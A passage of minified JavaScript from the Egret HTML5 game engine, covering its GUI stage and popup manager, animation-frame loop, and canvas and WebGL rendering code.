g=c.prototype.removeElementAt.call(this,f);f<this._noTopMostIndex?this.noTopMostIndex--:f>=this._noTopMostIndex&&f<this._topMostIndex?this.topMostIndex--:f>=this._topMostIndex&&f<this._toolTipIndex?this.toolTipIndex--:this.cursorIndex--;return g};e.prototype.removeAllElements=function(){for(;0<this._noTopMostIndex;){c.prototype.removeElementAt.call(this,0),this.noTopMostIndex--}};e.prototype._elementRemoved=function(g,i,h){"undefined"===typeof h&&(h=!0);h&&a.Event.dispatchEvent(g,"removeFromUIStage");c.prototype._elementRemoved.call(this,g,i,h)};e.prototype.raw_getElementAt=function(f){return c.prototype.getElementAt.call(this,f)};e.prototype.raw_addElement=function(g){var f=this.numElements;g.parent==this&&f--;return this.raw_addElementAt(g,f)};e.prototype.raw_addElementAt=function(f,h){if(f.parent==this){var g=this.getElementIndex(f);g<this._noTopMostIndex?this.noTopMostIndex--:g>=this._noTopMostIndex&&g<this._topMostIndex?this.topMostIndex--:g>=this._topMostIndex&&g<this._toolTipIndex?this.toolTipIndex--:this.cursorIndex--}return c.prototype.addElementAt.call(this,f,h)};e.prototype.raw_removeElement=function(f){return c.prototype.removeElementAt.call(this,c.prototype.getElementIndex.call(this,f))};e.prototype.raw_removeElementAt=function(f){return c.prototype.removeElementAt.call(this,f)};e.prototype.raw_removeAllElements=function(){for(;0<this.numElements;){c.prototype.removeElementAt.call(this,0)}};e.prototype.raw_getElementIndex=function(f){return c.prototype.getElementIndex.call(this,f)};e.prototype.raw_setElementIndex=function(f,g){c.prototype.setElementIndex.call(this,f,g)};e.prototype.raw_swapElements=function(f,g){c.prototype.swapElementsAt.call(this,c.prototype.getElementIndex.call(this,f),c.prototype.getElementIndex.call(this,g))};e.prototype.raw_swapElementsAt=function(f,g){c.prototype.swapElementsAt.call(this,f,g)};return e}(d.Group);d.UIStage=b;b.prototype.__class__="egret.gui.UIStage"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(g){var e=function(b){function c(){b.call(this);this._popUpList=[];this.popUpDataList=[];this._modalColor=0;this._modalAlpha=0.5;this.invalidateModalFlag=!1}__extends(c,b);Object.defineProperty(c.prototype,"popUpList",{get:function(){return this._popUpList.concat()},enumerable:!0,configurable:!0});c.prototype.findPopUpData=function(h){for(var f=this.popUpDataList,j=f.length,k=0;k<j;k++){var i=f[k];if(i.popUp==h){return i}}return null};c.prototype.addPopUp=function(i,m,l){"undefined"===typeof m&&(m=!1);"undefined"===typeof l&&(l=!0);var j=g.UIGlobals.uiStage,k=this.findPopUpData(i);k?(k.modal=m,i.removeEventListener(c.REMOVE_FROM_UISTAGE,this.onRemoved,this)):(k=new d(i,m),this.popUpDataList.push(k),this._popUpList.push(i));j.popUpContainer.addElement(i);l&&this.centerPopUp(i);"isPopUp" in i&&(i.isPopUp=!0);m&&this.invalidateModal();i.addEventListener(c.REMOVE_FROM_UISTAGE,this.onRemoved,this)};c.prototype.onRemoved=function(i){for(var h=0,n=this.popUpDataList,m=n.length,l=0;l<m;l++){var j=n[l];if(j.popUp==i.target){"isPopUp" in j.popUp&&(j.popUp.isPopUp=!1);j.popUp.removeEventListener(c.REMOVE_FROM_UISTAGE,this.onRemoved,this);this.popUpDataList.splice(h,1);this._popUpList.splice(h,1);this.invalidateModal();break}h++}};Object.defineProperty(c.prototype,"modalColor",{get:function(){return this._modalColor},set:function(f){this._modalColor!=f&&(this._modalColor=f,this.invalidateModal())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"modalAlpha",{get:function(){return this._modalAlpha},set:function(f){this._modalAlpha!=f&&(this._modalAlpha=f,this.invalidateModal())},enumerable:!0,configurable:!0});c.prototype.invalidateModal=function(){this.invalidateModalFlag||(this.invalidateModalFlag=!0,g.UIGlobals.stage.addEventListener(a.Event.ENTER_FRAME,this.validateModal,this),g.UIGlobals.stage.addEventListener(a.Event.RENDER,this.validateModal,this),g.UIGlobals.stage.invalidate())};c.prototype.validateModal=function(f){this.invalidateModalFlag=!1;g.UIGlobals.stage.removeEventListener(a.Event.ENTER_FRAME,this.validateModal,this);g.UIGlobals.stage.removeEventListener(a.Event.RENDER,this.validateModal,this);this.updateModal(g.UIGlobals.uiStage)};c.prototype.updateModal=function(i){for(var h=i.popUpContainer,l=!1,k=h.numElements-1;0<=k;k--){var j=h.getElementAt(k);if((j=this.findPopUpData(j))&&j.modal){l=!0;break}}l?(this.modalMask||(this.modalMask=new g.Rect,this.modalMask.touchEnabled=!0,this.modalMask.top=this.modalMask.left=this.modalMask.right=this.modalMask.bottom=0),this.modalMask.fillColor=this._modalColor,this.modalMask.alpha=this._modalAlpha,this.modalMask.parent==i?(h.getElementIndex(this.modalMask)<k&&k--,h.setElementIndex(this.modalMask,k)):h.addElementAt(this.modalMask,k)):this.modalMask&&this.modalMask.parent==i&&h.removeElement(this.modalMask)};c.prototype.removePopUp=function(f){f&&f.parent&&this.findPopUpData(f)&&("removeElement" in f.parent?f.parent.removeElement(f):f.parent instanceof g.UIComponent?f.parent._removeFromDisplayList(f):f instanceof a.DisplayObject&&f.parent.removeChild(f))};c.prototype.centerPopUp=function(h){h.top=h.bottom=h.left=h.right=NaN;h.verticalCenter=h.horizontalCenter=0;var f=h.parent;f&&("validateNow" in h&&h.validateNow(),h.x=0.5*(f.width-h.layoutBoundsWidth),h.y=0.5*(f.height-h.layoutBoundsHeight))};c.prototype.bringToFront=function(h){if(this.findPopUpData(h)&&h.parent&&"popUpContainer" in h.parent){var f=h.parent;f.popUpContainer.setElementIndex(h,f.popUpContainer.numElements-1);this.invalidateModal()}};c.REMOVE_FROM_UISTAGE="removeFromUIStage";return c}(a.EventDispatcher);g.PopUpManagerImpl=e;e.prototype.__class__="egret.gui.PopUpManagerImpl";var d=function(){return function(f,c){this.popUp=f;this.modal=c}}();d.prototype.__class__="PopUpData"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.getImpl=function(){if(!c._impl){try{c._impl=a.Injector.getInstance("egret.gui.IPopUpManager")}catch(e){c._impl=new d.PopUpManagerImpl}}return c._impl};Object.defineProperty(c.prototype,"modalColor",{get:function(){return c.getImpl().modalColor},set:function(e){c.getImpl().modalColor=e},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"modalAlpha",{get:function(){return c.getImpl().modalAlpha},set:function(e){c.getImpl().modalAlpha=e},enumerable:!0,configurable:!0});c.addPopUp=function(f,h,g){"undefined"===typeof h&&(h=!1);"undefined"===typeof g&&(g=!0);c.getImpl().addPopUp(f,h,g);d.PopUpEvent.dispatchPopUpEvent(c.getImpl(),d.PopUpEvent.ADD_POPUP,f,h)};c.removePopUp=function(e){c.getImpl().removePopUp(e);d.PopUpEvent.dispatchPopUpEvent(c.getImpl(),d.PopUpEvent.REMOVE_POPUP,e)};c.centerPopUp=function(e){c.getImpl().centerPopUp(e)};c.bringToFront=function(e){c.getImpl().bringToFront(e);d.PopUpEvent.dispatchPopUpEvent(c.getImpl(),d.PopUpEvent.BRING_TO_FRONT,e)};Object.defineProperty(c,"popUpList",{get:function(){return c.getImpl().popUpList},enumerable:!0,configurable:!0});c.addEventListener=function(g,j,k,i,h){"undefined"===typeof i&&(i=!1);"undefined"===typeof h&&(h=0);c.getImpl().addEventListener(g,j,this,i,h)};c.removeEventListener=function(f,h,i,g){"undefined"===typeof g&&(g=!1);c.getImpl().removeEventListener(f,h,i,g)};return c}();d.PopUpManager=b;b.prototype.__class__="egret.gui.PopUpManager"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){"undefined"===typeof c&&(c=60);e.call(this);this.frameRate=c;this._time=0;60==c&&(d.requestAnimationFrame=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame,d.cancelAnimationFrame=window.cancelAnimationFrame||window.msCancelAnimationFrame||window.mozCancelAnimationFrame||window.webkitCancelAnimationFrame||window.oCancelAnimationFrame||window.cancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.webkitCancelRequestAnimationFrame);d.requestAnimationFrame||(d.requestAnimationFrame=function(f){return window.setTimeout(f,1000/c)});d.cancelAnimationFrame||(d.cancelAnimationFrame=function(f){return window.clearTimeout(f)});d.instance=this;this.registerListener()}__extends(d,e);d.prototype.enterFrame=function(){var g=d.instance,j=d._thisObject,k=d._callback,h=a.getTimer(),i=h-g._time;g._requestAnimationId=d.requestAnimationFrame.call(window,d.prototype.enterFrame);k.call(j,i);g._time=h};d.prototype.executeMainLoop=function(c,f){d._callback=c;d._thisObject=f;this.enterFrame()};d.prototype.reset=function(){var c=d.instance;c._requestAnimationId&&(c._time=a.getTimer(),d.cancelAnimationFrame.call(window,c._requestAnimationId),c.enterFrame())};d.prototype.registerListener=function(){var f=function(){d.instance.reset()},h=function(){document[i]||f()};window.onfocus=f;window.onblur=function(){};var i,g;"undefined"!==typeof document.hidden?(i="hidden",g="visibilitychange"):"undefined"!==typeof document.mozHidden?(i="mozHidden",g="mozvisibilitychange"):"undefined"!==typeof document.msHidden?(i="msHidden",g="msvisibilitychange"):"undefined"!==typeof document.webkitHidden&&(i="webkitHidden",g="webkitvisibilitychange");"onpageshow" in window&&"onpagehide" in window&&window.addEventListener("pageshow",f,!1);i&&g&&document.addEventListener(g,h,!1)};return d}(a.DeviceContext);a.HTML5DeviceContext=b;b.prototype.__class__="egret.HTML5DeviceContext"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f){this.canvas=f;this.canvasContext=f.getContext("2d");var c=this.canvasContext.setTransform,g=this;this.canvasContext.setTransform=function(i,o,n,m,j,h){g._matrixA=i;g._matrixB=o;g._matrixC=n;g._matrixD=m;g._matrixTx=j;g._matrixTy=h;c.call(g.canvasContext,i,o,n,m,j,h)};this._matrixA=1;this._matrixC=this._matrixB=0;this._matrixD=1;this._transformTy=this._transformTx=this._matrixTy=this._matrixTx=0;e.call(this)}__extends(d,e);d.prototype.clearScreen=function(){this.setTransform(a.Matrix.identity.identity());for(var h=a.RenderFilter.getInstance().getDrawAreaList(),g=0,j=h.length;g<j;g++){var i=h[g];this.clearRect(i.x+this._transformTx,i.y+this._transformTy,i.width,i.height)}this.renderCost=0};d.prototype.clearRect=function(g,f,i,h){this.canvasContext.clearRect(g,f,i,h)};d.prototype.drawImage=function(u,s,c,v,f,o,q,n,j){s/=a.MainContext.instance.rendererContext.texture_scale_factor;c/=a.MainContext.instance.rendererContext.texture_scale_factor;v/=a.MainContext.instance.rendererContext.texture_scale_factor;f/=a.MainContext.instance.rendererContext.texture_scale_factor;u=u._bitmapData;o+=this._transformTx;q+=this._transformTy;var i=a.getTimer();this.canvasContext.drawImage(u,s,c,v,f,o,q,n,j);e.prototype.drawImage.call(this,u,s,c,v,f,o,q,n,j);this.renderCost+=a.getTimer()-i};d.prototype.setTransform=function(c){1==c.a&&0==c.b&&0==c.c&&1==c.d&&1==this._matrixA&&0==this._matrixB&&0==this._matrixC&&1==this._matrixD?(this._transformTx=c.tx-this._matrixTx,this._transformTy=c.ty-this._matrixTy):(this._transformTx=this._transformTy=0,this._matrixA==c.a&&this._matrixB==c.b&&this._matrixC==c.c&&this._matrixD==c.d&&this._matrixTx==c.tx&&this._matrixTy==c.ty||this.canvasContext.setTransform(c.a,c.b,c.c,c.d,c.tx,c.ty))};d.prototype.setAlpha=function(f,c){f!=this.canvasContext.globalAlpha&&(this.canvasContext.globalAlpha=f);c?(this.blendValue=c,this.canvasContext.globalCompositeOperation=c):this.blendValue!=a.BlendMode.NORMAL&&(this.blendValue=a.BlendMode.NORMAL,this.canvasContext.globalCompositeOperation=a.BlendMode.NORMAL)};d.prototype.setupFont=function(g){var f=this.canvasContext,h=g.italic?"italic ":"normal ",h=h+(g.bold?"bold ":"normal "),h=h+(g.size+"px "+g.fontFamily);f.font=h;f.textAlign="left";f.textBaseline="middle"};d.prototype.measureText=function(c){return this.canvasContext.measureText(c).width};d.prototype.drawText=function(f,c,o,j,n){var l=f._strokeColorString,m=f.stroke,i=this.canvasContext;i.fillStyle=f._textColorString;i.strokeStyle=l;m&&(i.lineWidth=2*m,i.strokeText(c,o+this._transformTx,j+this._transformTy,n||65535));i.fillText(c,o+this._transformTx,j+this._transformTy,n||65535);e.prototype.drawText.call(this,f,c,o,j,n)};d.prototype.strokeRect=function(h,g,k,j,i){this.canvasContext.strokeStyle=i;this.canvasContext.strokeRect(h,g,k,j)};d.prototype.pushMask=function(c){this.canvasContext.save();this.canvasContext.beginPath();this.canvasContext.rect(c.x+this._transformTx,c.y+this._transformTy,c.width,c.height);this.canvasContext.clip();this.canvasContext.closePath()};d.prototype.popMask=function(){this.canvasContext.restore();this.canvasContext.setTransform(1,0,0,1,0,0)};return d}(a.RendererContext);a.HTML5CanvasRenderer=b;b.prototype.__class__="egret.HTML5CanvasRenderer"})(egret||(egret={}));var egret_h5_graphics;(function(a){a.beginFill=function(f,c){"undefined"===typeof c&&(c=1);var d="rgba("+(f>>16)+","+((f&65280)>>8)+","+(f&255)+","+c+")";this.fillStyleColor=d;this.commandQueue.push(new b(this._setStyle,this,[d]))};a.drawRect=function(g,c,f,h){this.commandQueue.push(new b(function(j,i,l,m){var k=this.renderContext;this.canvasContext.beginPath();this.canvasContext.rect(k._transformTx+j,k._transformTy+i,l,m);this.canvasContext.closePath()},this,[g,c,f,h]));this._fill()};a.drawCircle=function(f,c,d){this.commandQueue.push(new b(function(h,g,j){var i=this.renderContext;this.canvasContext.beginPath();this.canvasContext.arc(i._transformTx+h,i._transformTy+g,j,0,2*Math.PI);this.canvasContext.closePath()},this,[f,c,d]));this._fill()};a.drawRoundRect=function(i,c,f,j,h,g){this.commandQueue.push(new b(function(l,k,p,q,o,n){var m=this.renderContext;l=m._transformTx+l;k=m._transformTy+k;o/=2;n=n?n/2:o;p=l+p;q=k+q;m=q-n;this.canvasContext.beginPath();this.canvasContext.moveTo(p,m);this.canvasContext.quadraticCurveTo(p,q,p-o,q);this.canvasContext.lineTo(l+o,q);this.canvasContext.quadraticCurveTo(l,q,l,q-n);this.canvasContext.lineTo(l,k+n);this.canvasContext.quadraticCurveTo(l,k,l+o,k);this.canvasContext.lineTo(p-o,k);this.canvasContext.quadraticCurveTo(p,k,p,k+n);this.canvasContext.lineTo(p,m);this.canvasContext.closePath()},this,[i,c,f,j,h,g]));this._fill()};a.drawEllipse=function(g,c,f,h){this.commandQueue.push(new b(function(j,i,m,n){var l=this.renderContext;this.canvasContext.save();j=l._transformTx+j;i=l._transformTy+i;var l=m>n?m:n,k=m/l;n/=l;this.canvasContext.scale(k,n);this.canvasContext.beginPath();this.canvasContext.moveTo((j+m)/k,i/n);this.canvasContext.arc(j/k,i/n,l,0,2*Math.PI);this.canvasContext.closePath();this.canvasContext.restore();this.canvasContext.stroke()},this,[g,c,f,h]));this._fill()};a.lineStyle=function(l,c,f,m,j,g,k,i){"undefined"===typeof l&&(l=NaN);"undefined"===typeof c&&(c=0);"undefined"===typeof f&&(f=1);"undefined"===typeof m&&(m=!1);"undefined"===typeof j&&(j="normal");"undefined"===typeof g&&(g=null);"undefined"===typeof k&&(k=null);"undefined"===typeof i&&(i=3);this.strokeStyleColor&&(this.createEndLineCommand(),this.commandQueue.push(this.endLineCommand));this.strokeStyleColor=c="rgba("+(c>>16)+","+((c&65280)>>8)+","+(c&255)+","+f+")";this.commandQueue.push(new b(function(e,d){this.canvasContext.lineWidth=e;this.canvasContext.strokeStyle=d;this.canvasContext.beginPath()},this,[l,c]));"undefined"===typeof this.lineX&&(this.lineY=this.lineX=0);this.moveTo(this.lineX,this.lineY)};a.lineTo=function(d,c){this.commandQueue.push(new b(function(f,e){var g=this.renderContext;this.canvasContext.lineTo(g._transformTx+f,g._transformTy+e)},this,[d,c]));this.lineX=d;this.lineY=c};a.curveTo=function(g,c,f,h){this.commandQueue.push(new b(function(j,i,l,m){var k=this.renderContext;this.canvasContext.quadraticCurveTo(k._transformTx+j,k._transformTy+i,l,m)},this,[g,c,f,h]));this.lineX=f;this.lineY=h};a.moveTo=function(d,c){this.commandQueue.push(new b(function(f,e){var g=this.renderContext;this.canvasContext.moveTo(g._transformTx+f,g._transformTy+e)},this,[d,c]))};a.clear=function(){this.lineY=this.lineX=this.commandQueue.length=0;this.fillStyleColor=this.strokeStyleColor=null};a.createEndFillCommand=function(){this.endFillCommand||(this.endFillCommand=new b(function(){this.canvasContext.fill();this.canvasContext.closePath()},this,null))};a.endFill=function(){null!=this.fillStyleColor&&this._fill();this.fillStyleColor=null};a._fill=function(){this.fillStyleColor&&(this.createEndFillCommand(),this.commandQueue.push(this.endFillCommand))};a.createEndLineCommand=function(){this.endLineCommand||(this.endLineCommand=new b(function(){this.canvasContext.stroke();this.canvasContext.closePath()},this,null))};a._draw=function(h){this.renderContext=h;h=this.canvasContext=this.renderContext.canvasContext;h.save();var e=this.commandQueue.length;this.strokeStyleColor&&0<e&&this.commandQueue[e-1]!=this.endLineCommand&&(this.createEndLineCommand(),this.commandQueue.push(this.endLineCommand),e=this.commandQueue.length);for(var f=0;f<e;f++){var g=this.commandQueue[f];g.method.apply(g.thisObject,g.args)}h.restore()};var b=function(){return function(f,d,e){this.method=f;this.thisObject=d;this.args=e}}();b.prototype.__class__="Command";a._setStyle=function(d){this.canvasContext.fillStyle=d;this.canvasContext.beginPath()};a.init=function(){for(var d in a){egret.Graphics.prototype[d]=a[d]}egret.RendererContext.createRendererContext=function(c){return new egret.HTML5CanvasRenderer(c)}}})(egret_h5_graphics||(egret_h5_graphics={}));egret_h5_graphics.init();__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f){e.call(this);this.size=2000;this.vertSize=6;this.contextLost=!1;this.glContextId=0;this.currentBlendMode="";this.currentBaseTexture=null;this.currentBatchSize=0;this.maskList=[];this.maskDataFreeList=[];this.canvasContext=document.createElement("canvas").getContext("2d");console.log("\u4f7f\u7528WebGL\u6a21\u5f0f");this.canvas=f;f.addEventListener("webglcontextlost",this.handleContextLost.bind(this),!1);f.addEventListener("webglcontextrestored",this.handleContextRestored.bind(this),!1);this.projectionX=f.width/2;this.projectionY=-f.height/2;f=6*this.size;this.vertices=new Float32Array(4*this.size*this.vertSize);this.indices=new Uint16Array(f);for(var c=0,g=0;c<f;c+=6,g+=4){this.indices[c+0]=g+0,this.indices[c+1]=g+1,this.indices[c+2]=g+2,this.indices[c+3]=g+0,this.indices[c+4]=g+2,this.indices[c+5]=g+3}this.initWebGL();this.shaderManager=new a.WebGLShaderManager(this.gl);this.worldTransform=new a.Matrix;this.initBlendMode();a.MainContext.instance.addEventListener(a.Event.FINISH_RENDER,this._draw,this);a.TextField.prototype._draw=function(h){this.getDirty()&&(this.cacheAsBitmap=!0);a.DisplayObject.prototype._draw.call(this,h)}}__extends(d,e);d.prototype.handleContextLost=function(){this.contextLost=!0};d.prototype.handleContextRestored=function(){this.initWebGL();this.shaderManager.setContext(this.gl);this.contextLost=!1};d.prototype.initWebGL=function(){for(var h={stencil:!0},g,k=["experimental-webgl","webgl"],j=0;j<k.length;j++){try{g=this.canvas.getContext(k[j],h)}catch(i){}if(g){break}}if(!g){throw Error("\u5f53\u524d\u6d4f\u89c8\u5668\u4e0d\u652f\u6301webgl")}this.setContext(g)};d.prototype.setContext=function(c){this.gl=c;c.id=this.glContextId++;this.vertexBuffer=c.createBuffer();this.indexBuffer=c.createBuffer();c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.indexBuffer);c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.indices,c.STATIC_DRAW);c.bindBuffer(c.ARRAY_BUFFER,this.vertexBuffer);c.bufferData(c.ARRAY_BUFFER,this.vertices,c.DYNAMIC_DRAW);c.disable(c.DEPTH_TEST);c.disable(c.CULL_FACE);c.enable(c.BLEND);c.colorMask(!0,!0,!0,!0)};d.prototype.initBlendMode=function(){d.blendModesWebGL[a.BlendMode.NORMAL]=[this.gl.ONE,this.gl.ONE_MINUS_SRC_ALPHA];d.blendModesWebGL[a.BlendMode.ADD]=[this.gl.SRC_ALPHA,this.gl.DST_ALPHA]};d.prototype.start=function(){if(!this.contextLost){var g=this.gl;g.activeTexture(g.TEXTURE0);g.bindBuffer(g.ARRAY_BUFFER,this.vertexBuffer);g.bindBuffer(g.ELEMENT_ARRAY_BUFFER,this.indexBuffer);var f=this.shaderManager.defaultShader;g.uniform2f(f.projectionVector,this.projectionX,this.projectionY);var h=4*this.vertSize;g.vertexAttribPointer(f.aVertexPosition,2,g.FLOAT,!1,h,0);g.vertexAttribPointer(f.aTextureCoord,2,g.FLOAT,!1,h,8);g.vertexAttribPointer(f.colorAttribute,2,g.FLOAT,!1,h,16)}};d.prototype.clearScreen=function(){var h=this.gl;h.colorMask(!0,!0,!0,!0);for(var g=a.RenderFilter.getInstance().getDrawAreaList(),k=0,i=g.length;k<i;k++){var j=g[k];h.viewport(j.x,j.y,j.width,j.height);h.bindFramebuffer(h.FRAMEBUFFER,null);h.clearColor(0,0,0,0);h.clear(h.COLOR_BUFFER_BIT)}this.renderCost=0};d.prototype.setBlendMode=function(c){c||(c=a.BlendMode.NORMAL);if(this.currentBlendMode!=c){var f=d.blendModesWebGL[c];f&&(this.gl.blendFunc(f[0],f[1]),this.currentBlendMode=c)}};d.prototype.drawImage=function(L,K,J,I,B,G,H,F,E){if(!this.contextLost){var D=a.MainContext.instance.rendererContext.texture_scale_factor;K/=D;J/=D;I/=D;B/=D;this.createWebGLTexture(L);if(L.webGLTexture!==this.currentBaseTexture||this.currentBatchSize>=this.size){this._draw(),this.currentBaseTexture=L.webGLTexture}var A=this.worldTransform,C=A.a,u=A.b,o=A.c,j=A.d,r=A.tx,i=A.ty;0==G&&0==H||A.append(1,0,0,1,G,H);1==I/F&&1==B/E||A.append(F/I,0,0,E/B,0,0);G=A.a;H=A.b;F=A.c;E=A.d;var D=A.tx,t=A.ty;A.a=C;A.b=u;A.c=o;A.d=j;A.tx=r;A.ty=i;C=L._sourceWidth;u=L._sourceHeight;L=I;A=B;K/=C;J/=u;I/=C;B/=u;C=this.vertices;u=4*this.currentBatchSize*this.vertSize;o=this.worldAlpha;C[u++]=D;C[u++]=t;C[u++]=K;C[u++]=J;C[u++]=o;C[u++]=16777215;C[u++]=G*L+D;C[u++]=H*L+t;C[u++]=I+K;C[u++]=J;C[u++]=o;C[u++]=16777215;C[u++]=G*L+F*A+D;C[u++]=E*A+H*L+t;C[u++]=I+K;C[u++]=B+J;C[u++]=o;C[u++]=16777215;C[u++]=F*A+D;C[u++]=E*A+t;C[u++]=K;C[u++]=B+J;C[u++]=o;C[u++]=16777215;this.currentBatchSize++}};d.prototype._draw=function(){if(0!=this.currentBatchSize&&!this.contextLost){var g=a.getTimer();this.start();var f=this.gl;f.bindTexture(f.TEXTURE_2D,this.currentBaseTexture);var h=this.vertices.subarray(0,4*this.currentBatchSize*this.vertSize);f.bufferSubData(f.ARRAY_BUFFER,0,h);f.drawElements(f.TRIANGLES,6*this.currentBatchSize,f.UNSIGNED_SHORT,0);this.currentBatchSize=0;this.renderCost+=a.getTimer()-g;a.Profiler.getInstance().onDrawImage()}};d.prototype.setTransform=function(f){var c=this.worldTransform;c.a=f.a;c.b=f.b;c.c=f.c;c.d=f.d;c.tx=f.tx;c.ty=f.ty};d.prototype.setAlpha=function(f,c){this.worldAlpha=f;this.setBlendMode(c)};d.prototype.createWebGLTexture=function(f){if(!f.webGLTexture){var c=this.gl;f.webGLTexture=c.createTexture();c.bindTexture(c.TEXTURE_2D,f.webGLTexture);c.pixelStorei(c.UNPACK_PREMULTIPLY_ALPHA_WEBGL,!0);c.texImage2D(c.TEXTURE_2D,0,c.RGBA,c.RGBA,c.UNSIGNED_BYTE,f._bitmapData);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_MAG_FILTER,c.LINEAR);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_MIN_FILTER,c.LINEAR);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_S,c.CLAMP_TO_EDGE);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_T,c.CLAMP_TO_EDGE);c.bindTexture(c.TEXTURE_2D,null)}};d.prototype.pushMask=function(g){this._draw();var f=this.gl;0==this.maskList.length&&(f.enable(f.STENCIL_TEST),f.stencilFunc(f.ALWAYS,1,1));var h=this.maskDataFreeList.pop();h?(h.x=g.x,h.y=g.y,h.w=g.width,h.h=g.height):h={x:g.x,y:g.y,w:g.width,h:g.height};this.maskList.push(h);f.colorMask(!1,!1,!1,!1);f.stencilOp(f.KEEP,f.KEEP,f.INCR);this.renderGraphics(h);f.colorMask(!0,!0,!0,!0);f.stencilFunc(f.NOTEQUAL,0,this.maskList.length);f.stencilOp(f.KEEP,f.KEEP,f.KEEP)};d.prototype.popMask=function(){this._draw();var f=this.gl,c=this.maskList.pop();c&&(f.colorMask(!1,!1,!1,!1),f.stencilOp(f.KEEP,f.KEEP,f.DECR),this.renderGraphics(c),f.colorMask(!0,!0,!0,!0),f.stencilFunc(f.NOTEQUAL,0,this.maskList.length),f.stencilOp(f.KEEP,f.KEEP,f.KEEP),this.maskDataFreeList.push(c));0==this.maskList.length&&f.disable(f.STENCIL_TEST)};d.prototype.setupFont=function(g){var f=this.canvasContext,h=g.italic?"italic ":"normal ",h=h+(g.bold?"bold ":"normal "),h=h+(g.size+"px "+g.fontFamily);f.font=h;f.textAlign="left";f.textBaseline="middle"};d.prototype.measureText=function(c){return this.canvasContext.measureText(c).width};d.prototype.renderGraphics=function(g){var f=this.gl,h=this.shaderManager.primitiveShader;this.graphicsPoints?(this.graphicsPoints.length=0,this.graphicsIndices.length=0):(this.graphicsPoints=[],this.graphicsIndices=[],this.graphicsBuffer=f.createBuffer(),this.graphicsIndexBuffer=f.createBuffer());this.updateGraphics(g);this.shaderManager.activateShader(h);f.blendFunc(f.ONE,f.ONE_MINUS_SRC_ALPHA);f.uniformMatrix3fv(h.translationMatrix,!1,this.worldTransform.toArray(!0));f.uniform2f(h.projectionVector,this.projectionX,-this.projectionY);f.uniform2f(h.offsetVector,0,0);f.uniform3fv(h.tintColor,[1,1,1]);f.uniform1f(h.alpha,this.worldAlpha);f.bindBuffer(f.ARRAY_BUFFER,this.graphicsBuffer);f.vertexAttribPointer(h.aVertexPosition,2,f.FLOAT,!1,24,0);f.vertexAttribPointer(h.colorAttribute,4,f.FLOAT,!1,24,8);f.bindBuffer(f.ELEMENT_ARRAY_BUFFER,this.graphicsIndexBuffer);f.drawElements(f.TRIANGLE_STRIP,this.graphicsIndices.length,f.UNSIGNED_SHORT,0);this.shaderManager.activateShader(this.shaderManager.defaultShader)};d.prototype.updateGraphics=function(f){var c=this.gl;this.buildRectangle(f);c.bindBuffer(c.ARRAY_BUFFER,this.graphicsBuffer);c.bufferData(c.ARRAY_BUFFER,new Float32Array(this.graphicsPoints),c.STATIC_DRAW);c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.graphicsIndexBuffer);c.bufferData(c.ELEMENT_ARRAY_BUFFER,new Uint16Array(this.graphicsIndices),c.STATIC_DRAW)};d.prototype.buildRectangle=function(j){var i=j.x,o=j.y,n=j.w;j=j.h;var m=this.graphicsPoints,k=this.graphicsIndices,l=m.length/6;m.push(i,o);m.push(0,0,0,1);m.push(i+n,o);m.push(0,0,0,1);m.push(i,o+j);m.push(0,0,0,1);m.push(i+n,o+j);m.push(0,0,0,1);k.push(l,l,l+1,l+2,l+3,l+3)};d.blendModesWebGL={};return d}(a.RendererContext);a.WebGLRenderer=b;b.prototype.__class__="egret.WebGLRenderer"})(egret||(egret={}));(function(a){var b=function(){function d(){}d.compileProgram=function(c,f,h){h=d.compileFragmentShader(c,h);f=d.compileVertexShader(c,f);var g=c.createProgram();c.attachShader(g,f);c.attachShader(g,h);c.linkProgram(g);c.getProgramParameter(g,c.LINK_STATUS)||console.log("\u65e0\u6cd5\u521d\u59cb\u5316\u7740\u8272\u5668");return g};d.compileFragmentShader=function(c,e){return d._compileShader(c,e,c.FRAGMENT_SHADER)};d.compileVertexShader=function(c,e){return d._compileShader(c,e,c.VERTEX_SHADER)};d._compileShader=function(c,e,f){f=c.createShader(f);c.shaderSource(f,e);c.compileShader(f);return c.getShaderParameter(f,c.COMPILE_STATUS)?f:(console.log(c.getShaderInfoLog(f)),null)};d.checkCanUseWebGL=function(){if(void 0==d.canUseWebGL){try{var c=document.createElement("canvas");d.canUseWebGL=!!window.WebGLRenderingContext&&!(!c.getContext("webgl")&&!c.getContext("experimental-webgl"))}catch(e){d.canUseWebGL=!1}}return d.canUseWebGL};return d}();a.WebGLUtils=b;b.prototype.__class__="egret.WebGLUtils"})(egret||(egret={}));(function(g){var h=function(){function b(e){this.maxAttibs=10;this.attribState=[];this.tempAttribState=[];for(var c=0;c<this.maxAttibs;c++){this.attribState[c]=!1}this.setContext(e)}b.prototype.setContext=function(c){this.gl=c;this.primitiveShader=new a(c);this.defaultShader=new 